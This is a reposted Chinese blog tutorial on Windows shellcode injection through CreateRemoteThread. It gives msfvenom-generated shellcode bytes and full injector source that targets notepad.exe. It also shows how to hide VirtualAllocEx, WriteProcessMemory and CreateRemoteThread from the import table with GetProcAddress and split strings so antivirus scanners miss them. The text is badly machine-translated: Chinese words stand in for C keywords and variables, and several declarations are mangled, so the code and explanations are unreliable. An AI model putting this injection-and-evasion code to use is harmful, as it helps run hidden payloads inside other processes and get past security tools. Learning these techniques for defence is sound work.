前言
涉及的技术不完善,个人在学习过程中注入深水中的内容,文章的内容涉及到流程注入基础,将通过文章自动获取流程的Pid、加载、导入表的基本处理、底层源码等,过程中需要理解的部分,我会隐含言简意赅。
0x01 简单描述
进程运行的程序开辟内存,把shellcode留给一个正在运行的程序,然后用一个线程去执行shellcode。
0x02 外壳代码
所有示例代码都使用从 Metasploit Frameworks Msfvenom 工具生成的相同的 64 位 shellcode。
msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
shellcode 执行 Calc.exe
0x03 代码实现
CreateReteThread()进程导入,实际上需要实现关于四个主要目标:
-
OpenProcess()打开将要获取进程获取句柄
-
VirtualAllocEx) – 能够访问进程外部(以便在其虚拟空间内分配内存)。
-
WriteProcessMemory( ) – 将 shellcode 写入分配的内存。
-
CreateRemoteThread() – 让进程外部在另一个线程中执行上述shellcode。
获取进程目标句柄 OpenProcess()
OpenProcess函数打开一个现有进程的对象。
HAND OpenProcess (
DWORD dwDesiredAccess , // 寻求得到 的(标志)肯定是PROCESS_ALL_ACC ,那BOOL bheritHandle , //是继承句柄,一般不是DWORDESSdwProcessId //进程中,即访问权限进程的PID );
VirtualAllocEx
是需要调用的 Windows API,以便位于指定进程区域(我们要初始化我们的进程申请)的虚拟空间空间。VirtualAlloc –ExAlloc
(HANDLE API hExAlloc)(句柄)
LPVOID VirtualAllocEx (
HANDLE Process h // 进程分配的内存大小,// 进程自动处理 LPVOID lpAddress ,//页面的内存 地址,一般用NULL分配SIZE_T dwSize ,欲分配的内存大小,为字节单位,通常是shellcode DWORD flAllocationType , // 分配的内存类型,常用 MEM_RESERVE | MEM_COMMIT DProtect // 分配的内存保护,因为需要指定包含执行的代码,因此常用 ECU TE_READWRITE,可以写);
该写入进程内存(WriteProcessMemory
可以分配了一个与我们的 shellcode 相同的shellcode),已经我们的shellcode 将写入我们现在的大小。
WriteProcessMemory () –将数据写入 指定进程中的内存区域。BOOL WriteProcessMemory (
HANDLE hProcess , //要向其中写入数据的进程,即由 OpenProcess 返回的进程句柄
LPBaseAddress , //要写入的数据的进程首地址,ViualAllocEx的LPCVOID , // 指向要写入的数据写入的指针值,该指针必须是返回的指针,shellcode 是 constize SIZE_T nS , //接收字节数,shellcode 大小ritten // 接收传输到指定进程中的字节数,通常为NULL );
创建远程线程()创建远程线程()
可以从我们的内存空间加载到受害进程现在分配的虚拟内存,然后我们告诉受害进程的shellcode,然后创建地址创建一个新线程。创建远程线程
()–一个在远程进程的虚拟机地址空间中运行的线程。
HANDLE CreateRemoteThread hProcess , // 线程线程的进程
句柄 ,即OpenProcess返回的句柄LPThreadAttributes , //线程的安全,通常为NULL SIZE_T dwStackSize , // 线程栈初始大小,以字节为单位,通常为0,即系统默认。LPTHREAD_STARTOUTINE lpStartress , // 在代表进程的地址空间中,该进程的返回值函数注意使用地址的大小。VirtualAlloc ,,,需要立即转换类型输出参数。给线程函数的指针,这里为NULL,在DLL注入的时候有重要意义DWORD dwCreationFlags , //线程的创建标志,通常为0,即线程的创建后立即运行LPDWORD lpThreadId //指向所创建线程ID的指针,通常为NULL );
基础代码
#include <windows.h>#include <stdio.h>int main ( int argc , char * argv []) {
无符号 字符 缓冲区[] = " xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52 " " x51x56x48x31xd2 x65x48x8bx52x60x48x8bx52x18x48 " " x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31 xc9 " " x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41 " " x01xc1xe2xedx52x41x51 x48x8bx52x20x8bx42x3cx48 " " x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01 " " xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48 " "xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0 " " xacx41xc1xc9x0dx41x01xc1x38 xe0x75xf1x4cx03x4c " " x24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0 " " x66x41 x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04 " " x88x48x01xd0x41x58x41x58x5ex59x5a x41x58x41x59 " " x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48 " " x8bx12xe9x57 xffxffxffx5dx48xbax01x00x00x00x00 " " x00x00x00x48x8dx8dx01x01x00x00x41xbax31 x8bx6f " "x87xffxd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxff " " xd5x48x83xc4x28x3cx06x7cx0a x80xfbxe0x75x05xbb " " x47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6c " " x63x2e x65x78x65x00 " ;
printf ( "alloc:%p n " , buf );HANDLE Process = OpenProcess (
( DWORD ) PROCESS_ALL_ACCESS ,
( BOOL ) FALSE ,
//(DWORD)atoi(pid));
atoi ( argv [ 1 ]));
if ( Process == NULL )
{
printf ( " n openprocess error%d n " , GetLastError ());
}
printf ( "pid:%d" , atoi ( argv [ 1 ]));
void * exec = VirtualAllocEx ( 进程, NULL , sizeof (buf ), MEM_COMMIT , PAGE_EXECUTE_READWRITE );
if ( exec == NULL )
{
printf ( "VirtualAllocEx error%d n " , GetLastError ());
} BOOL 内存 = WriteProcessMemory (
( HANDLE )进程,
( LPVOID ) exec ,
( LPCVOID ) buf ,
sizeof buf ,
NULL );
if ( Memory == 0 )
{
printf ( "WriteProcessMemory:%d n " , GetLastError ());
} HANDLE thred = CreateRemoteThread (
(HANDLE )进程,
(LPSECURITY_ATTRIBUTES )NULL ,
(SIZE_T )0 ,
(LPTHREAD_START_ROUTINE )exec ,
(LPVOID )NULL ,
(DWORD )0 ,
(LPDWORD )NULL );
if ( thred == NULL )
{
printf ( "CreateRemoteThread:%dn " , GetLastError ());
} }
自动拍摄
截图https://docs.microsoft.com/en-us/windows/win32/toolhelp/taking-a-snap-and-viewing-processes
//拍摄快照HANDLE Snapshot CreateToolhelp32Snapshot (( DWORD ) TH32CS_SNAPPROCESS ,( DWORD ) 0 ); if ( Snapshot == INVALID_HANDLE_VALUE ) { printf ( "CreateToolhelp32Snapshot:%d n " , GetLastError ()); } //初始化PROCESSENTRY32 pe32 ; pe32 。dwSize = sizeof ( PROCESSENTRY32 );
BOOL First = Process32First (
( HANDLE )快照,
& pe32 ); if ( First == FALSE ) {
printf ( "Process32First:%d n " , GetLastError ()); }//匹配注入进程名称DWORD pid ; while ( First ) {
if ( wcscmp ( pe32.szExeFile , L " notepad.exe " ) == 0 ) { pid = pe32 . th32进程ID ;休息; } First = Process32Next (( HANDLE )快照, & pe32 ); }
加载shellcode
HANDLE openinfile = CreateFileA (
//"e:\calc.bin",
lnFileName ,
GENERIC_READ ,
0 ,
NULL ,
OPEN_EXISTING ,
FILE_ATTRIBUTE_NORMAL ,
NULL );
if ( openinfile == INVALID_HANDLE_VALUE );
{
printf ( "创建文件错误:%d n " , GetLastError ());
}
//
int size = GetFileSize ( openinfile , NULL );
如果 (大小 == INVALID_FILE_SIZE );
{
printf ( "GetFileSize Error:%d n " , GetLastError ());
}
//
字符* buf = (字符* ) malloc (大小 + 1 );
DWORD lpNumberOfBytesRead = 0 ;
//
BOOL rfile = ReadFile (
openinfile ,
buf ,
size ,
& lpNumberOfBytesRead ,
NULL );
for ( int i = 0 ; i < size ; i ++ )
{
printf ( " \ x%02x" , (无符号 char ) buf [ i ]);
}
IAT,导入地址表(导入地址表)
IAT 是为了加载加载或重函数地址表,这个程序在执行加载加载和重函数地址表时,专门用来记录一个加载函数的地址表。将这些dll的地址替换到这个空间的地址,然后替换所有函数的地址,然后将其替换为这个函数的地址,然后替换所有函数的地址(直接替换) ,PE 的 IAT 表会很可能,可能就丢弃了。
翻译:IAT是一种表格,用来记录程序正在使用哪些库中的哪些函数。
如果一个文件的文件大小在 30KB 以内,并且传入参数那么高的文件是 0x40、CreateThread 等高危函数危及 VirtualAlloc 的一个高危函数,并且这个文件极有可能是,会被重点关注。
这里使用VS自带的垃圾箱查看
没有修改之前可以看到存在高危函数如VirtualAllocEx、CreateRemoteThread、WriteProcessMemory等
在字符串中查看敏感函数关键字,解决:通过分解、源代码办法、加壳等方式。
GetProcAddress 获取函数地址
GetProcAddress 这个API在Kernel32.dll中被导出,主要功能是从一个加载的模块中获取函数的地址。
typedef LPVOID ( WINAPI * Virtual_AllocEx )(
_In_ HANDLE hProcess ,
_In_opt_ LPVOID lpAddress ,
_In_ SIZE_T dwSize ,
_In_ DWORD flAllocationType ,
_In_ DWORD flProtect ); typedef BOOL ( WINAPI * ImportWriteProcessMemory )(
_In_ HANDLE hProcess ,
_In_ LPVOID lpBaseAddress ,
_In_reads_bytes_ ( nSize ) LPCVOID lpBuffer ,
_In_ SIZE_T nSize ,
_Out_opt_ SIZE_T * lpNumberOfBytesWritten ); typedef HANDLE ( WINAPI * ImportCreateRemoteThread )
( _In_ HANDLE hProcess ,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes ,
_In_ SIZE_T dwStackSize ,
_In_ LPTHREAD_START_ROUTINE lpStartAddress ,
_In_opt_ LPVOID lpParameter ,
_In_ DWORD dwCreationFlag_lpId ,
PD_Out ) ;
// 避免高危字符串
char ker32 [] = { 'K' , 'e' , 'r' , 'n' , 'e' , 'l' , '3' , '2' , '.' , 'd' , 'l' , 'l' , 0 };
HMODULE hKer32 = LoadLibraryA ( ker32 );
char VAllocEx [] = { 'V' , 'i' , 'r' , ''a' , 'l' , 'l' , 'o' , 'c' , 'E' , 'x' , 0 };
Virtual_AllocEx V_AllocEx = ( Virtual_AllocEx ) GetProcAddress ( hKer32 , VAllocEx );//ImportVirtualAllocEx MyVirtualAllocEx = //(ImportVirtualAllocEx)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAllocEx"); ImportWriteProcessMemory MyWriteProcessMemory = ( ImportWriteProcessMemory ) GetProcAddress ( GetModuleHandle ( TEXT ( "kernel32.dll" )), "WriteProcessMemory" ); ImportCreateRemoteThread MyCreateRemoteThread = ( ImportCreateRemoteThread ) GetProcAddress ( GetModuleHandle ( TEXT ( "kernel32.dll" )), "CreateRemoteThread"
修改后查看导入表,高危函数已不在中了
完整代码
#include <windows.h>#include <stdio.h>#include <tlhelp32.h>#include <TCHAR.h>typedef LPVOID ( WINAPI * ImportVirtualAllocEx )(
_In_ HANDLE hProcess ,
_In_opt_ LPVOID lpAddress ,
_In_ SIZE_T dwSize ,
_In_ DWORD flAllocationType ,
_In_ DWORD flProtect
); typedef BOOL ( WINAPI * ImportWriteProcessMemory )(
_In_ HANDLE hProcess ,
_In_ LPVOID lpBaseAddress ,
_In_reads_bytes_ ( nSize ) LPCVOID lpBuffer ,
_In_ SIZE_T nSize ,
_Out_opt_ SIZE_T * lpNumberOfBytesWritten
); typedef HANDLE ( WINAPI * ImportCreateRemoteThread )
( _In_ HANDLE hProcess ,
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes ,
_In_ SIZE_T dwStackSize ,
_In_ LPTHREAD_START_ROUTINE lpStartAddress ,
_In_opt_ LPVOID lpParameter ,
_In_ DWORD dwCreationFlag_lpId ,
PD_Out ) ;
无效 代码(LPCSTR lnFileName ) {
//char ker32[] = { 'K','E','r','n','e','l','3','2','.','d','l ','l',0 };
//HMODULE hKer32 = LoadLibraryA(ker32);
//char VAllocEx[] = { 'V','i','r','t','u','a','l','l','o','c','E ','x',0 };
//Virtual_AllocEx V_AllocEx = (Virtual_AllocEx)GetProcAddress(hKer32, "VirtualAllocEx");
ImportVirtualAllocEx MyVirtualAllocEx = ( ImportVirtualAllocEx ) GetProcAddress ( GetModuleHandle ( TEXT ( "kernel32.dll" )), "VirtualAllocEx" );
ImportWriteProcessMemory MyWriteProcessMemory = ( ImportWriteProcessMemory ) GetProcAddress ( GetModuleHandle ( TEXT ( "kernel32.dll" )), "WriteProcessMemory" );
ImportCreateRemoteThread MyCreateRemoteThread = ( ImportCreateRemoteThread )GetProcAddress (GetModuleHandle (TEXT (“kernel32.dll” )), “CreateRemoteThread” );
HANDLE openinfile = CreateFileA (
//"e:\calc.bin",
lnFileName ,
GENERIC_READ ,
0 ,
NULL ,
OPEN_EXISTING ,
FILE_ATTRIBUTE_NORMAL ,
NULL );
if ( openinfile == INVALID_HANDLE_VALUE );
{
printf ( "创建文件错误:%d n " , GetLastError ());
}
//
int size = GetFileSize ( openinfile , NULL );
如果 (大小 == INVALID_FILE_SIZE );
{
printf ( "GetFileSize Error:%d n " , GetLastError ());
}
//
字符* buf = (字符* ) malloc (大小 + 1 );
DWORD lpNumberOfBytesRead = 0 ;
//
BOOL rfile = ReadFile (
openinfile ,
buf ,
size ,
& lpNumberOfBytesRead ,
NULL );
for ( int i = 0 ; i < size ; i ++ )
{
printf ( " \ x%02x" , (无符号 char ) buf [ i ]);
}
//
处理快照= CreateToolhelp32Snapshot (( DWORD ) TH32CS_SNAPPROCESS , ( DWORD ) 0 ); if ( Snapshot == INVALID_HANDLE_VALUE ) { printf ( "CreateToolhelp32Snapshot:%d n " , GetLastError ()); } // PROCESSENTRY32 pe32 ; pe32 。dwSize = sizeof ( PROCESSENTRY32 );
BOOL First = Process32First (
( HANDLE )快照,
& pe32 );
if ( First == FALSE )
{
printf ( "Process32First:%d n " , GetLastError ());
}
//
双字 pid ;
while ( First )
{
if ( wcscmp ( pe32.szExeFile , L " notepad.exe " ) == 0 ) { pid = pe32 . th32进程ID ;休息; } First = Process32Next (( HANDLE )快照, & pe32 ); }
HANDLE Process = OpenProcess (
( DWORD ) PROCESS_ALL_ACCESS ,
( BOOL ) false ,
//(DWORD)atoi(pid));
( DWORD ) PID
);
if ( Process == NULL )
{
CloseHandle ( Process );
printf ( " n打开进程错误%d n " , GetLastError ());
}
_tprintf ( TEXT ( " n pid:%dn " ), pe32 . th32ProcessID );
HANDLE exec = MyVirtualAllocEx (
Process ,
NULL ,
//sizeof(buf),
size ,
MEM_COMMIT ,
PAGE_EXECUTE_READWRITE
);
if ( exec == NULL )
{
printf ( "VirtualAllocEx error%d n " , GetLastError ());
}
BOOL Memory = MyWriteProcessMemory (
( HANDLE ) Process ,
( LPVOID ) exec ,
( LPCVOID ) buf ,
//sizeof buf,
size ,
NULL );
if ( Memory == 0 )
{
printf ( "WriteProcessMemory:%d n " , GetLastError ());
}
HANDLE thred = MyCreateRemoteThread (
(HANDLE )进程,
(LPSECURITY_ATTRIBUTES )NULL ,
(SIZE_T )0 ,
(LPTHREAD_START_ROUTINE )exec ,
(LPVOID )NULL ,
(DWORD )0 ,
(LPDWORD )NULL );
if ( thred == NULL )
{
CloseHandle ( thred );
printf ( "CreateRemoteThread:%d n " , GetLastError ());
} } int main ( int argc , char * argv []) {
//int main()
if ( argc != 2 )
{
printf ( "please bin" );
}
其他
{
代码( argv [ 1 ]);
} }
还可以增加系统调用直接调用、支持功能还申请优化、尝试高强度配置用于执行等,请师傅直接使用。
0x04 相关推荐
https://payloads.online/archivers/2020-10-23/1/
https://macchiato.ink/hst/ProcessInjection/CreateRemoteThread/
https://github.com/d35ha/CallObfuscator
0x05 后记
行程不足欢迎师傅点和翻译,感谢我们帮助和支持的朋友,最后给你
。已同意。
来源:先知(https://xz.aliyun.com/t/11489)
注:如有绘画请联系删除
欢迎大家一起加群讨论学习和交流
快乐要懂得分享,
加倍的快乐。
原文始发于微信公众号(衡阳信安):进程的注入探索
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论